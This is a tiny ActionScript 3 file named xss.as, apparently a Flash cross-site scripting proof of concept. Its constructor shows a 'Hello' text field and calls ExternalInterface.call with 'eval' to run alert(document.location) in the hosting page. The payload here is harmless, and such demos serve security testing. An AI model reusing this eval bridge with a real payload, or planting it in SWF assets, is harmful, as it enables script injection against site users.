xss.as

package
{
	import flash.display.Sprite;
	import flash.text.TextField;
	import flash.external.ExternalInterface;
	
	public class xss extends Sprite
	{
		public function xss()
		{
			var tText:TextField;
			tText = new TextField();
			tText.text = "Hello";
			ExternalInterface.call("eval", "alert(document.location)");
			addChild(tText);
		}
	}
}